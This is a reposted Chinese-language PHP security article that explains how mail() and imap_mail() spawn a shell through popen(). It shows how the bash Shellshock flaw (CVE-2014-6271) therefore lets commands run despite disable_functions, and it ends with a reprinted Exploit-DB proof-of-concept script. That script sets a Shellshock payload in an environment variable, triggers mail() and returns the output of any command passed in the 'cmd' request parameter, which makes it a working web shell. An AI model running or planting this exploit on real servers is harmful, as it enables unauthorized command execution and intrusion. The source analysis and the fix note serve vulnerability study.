Heim  >  Artikel  >  php教程  >  PHP Execute Command Bypass Disable_functions

PHP Execute Command Bypass Disable_functions

WBOY
WBOYOriginal
2016-06-06 20:14:021224Durchsuche

先简单说一下php调用mail()函数的过程。 看到源码ext/mail.c 236行: char *sendmail_path = INI_STR("sendmail_path"); char *sendmail_cmd = NULL; 从INI中获得sendmail_path变量。我们看看php.ini里是怎么说明的: ; For Unix only. You may supply argum

先简单说一下php调用mail()函数的过程。 
看到源码ext/mail.c 

236行: 

char *sendmail_path = INI_STR("sendmail_path"); 
char *sendmail_cmd = NULL;


从INI中获得sendmail_path变量。我们看看php.ini里是怎么说明的: 


; For Unix only.  You may supply arguments as well (default: "sendmail -t -i"). 
;sendmail_path =
注释中可以看到,send_mail默认值为"sendmail -t -i". 

extra_cmd(用户传入的一些额外参数)存在的时候,调用spprintf将sendmail_path和extra_cmd组合成真正执行的命令行sendmail_cmd 。不存在则直接将sendmail_path赋值给sendmail_cmd 。 
如下: 
if (!sendmail_path) { 
#if (defined PHP_WIN32 || defined NETWARE) 
    /* handle old style win smtp sending */ 
    if (TSendMail(INI_STR("SMTP"), &tsm_err, &tsm_errmsg, hdr, subject, to, message, NULL, NULL, NULL TSRMLS_CC) == FAILURE) { 
      if (tsm_errmsg) { 
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", tsm_errmsg); 
        efree(tsm_errmsg); 
      } else { 
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", GetSMErrorText(tsm_err)); 
      } 
      MAIL_RET(0); 
    } 
    MAIL_RET(1); 
#else 
    MAIL_RET(0); 
#endif 
  } 
  if (extra_cmd != NULL) { 
    spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd); 
  } else { 
    sendmail_cmd = sendmail_path; 
  }


之后执行: 

#ifdef PHP_WIN32 
  sendmail = popen_ex(sendmail_cmd, "wb", NULL, NULL TSRMLS_CC); 
#else 
  /* Since popen() doesn't indicate if the internal fork() doesn't work 
   * (e.g. the shell can't be executed) we explicitly set it to 0 to be 
   * sure we don't catch any older errno value. */ 
  errno = 0; 
  sendmail = popen(sendmail_cmd, "w"); 
#endif
将sendmail_cmd丢给popen执行。 
如果系统默认sh是bash,popen会派生bash进程。而之前的bash破壳(CVE-2014-6271)漏洞,直接导致我们可以利用mail()函数执行任意命令,绕过disable_functions。 


同样,我们搜索一下php的源码,可以发现,明里调用popen派生进程的php函数还有imap_mail,如果你仅仅通过禁用mail函数来规避这个安全问题,那么imap_mail是可以做替代的。当然,php里还可能有其他地方有调用popen或其他能够派生bash子进程的函数,通过这些地方,都可以通过破壳漏洞执行命令的。

影响版本:php 5.x 已测试,其他版本未测试

修复方法:修复CVE-2014-6271 

给出POC(http://www.exploit-db.com/exploits/35146/)如下: 

<?php 
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions) 
# Google Dork: none 
# Date: 10/31/2014 
# Exploit Author: Ryan King (Starfall) 
# Vendor Homepage: http://php.net 
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror 
# Version: 5.* (tested on 5.6.2) 
# Tested on: Debian 7 and CentOS 5 and 6 
# CVE: CVE-2014-6271 
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283 
   $tmp = tempnam(".","data"); 
   putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); 
   // In Safe Mode, the user may only alter environment variableswhose names 
   // begin with the prefixes supplied by this directive. 
   // By default, users will only be able to set environment variablesthat 
   // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty, 
   // PHP will let the user modify ANY environment variable! 
   mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail 
   $output = @file_get_contents($tmp); 
   @unlink($tmp); 
   if($output != "") return $output; 
   else return "No output, or not vuln."; 
} 
echo shellshock($_REQUEST["cmd"]); 
?>


006.jpg


Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn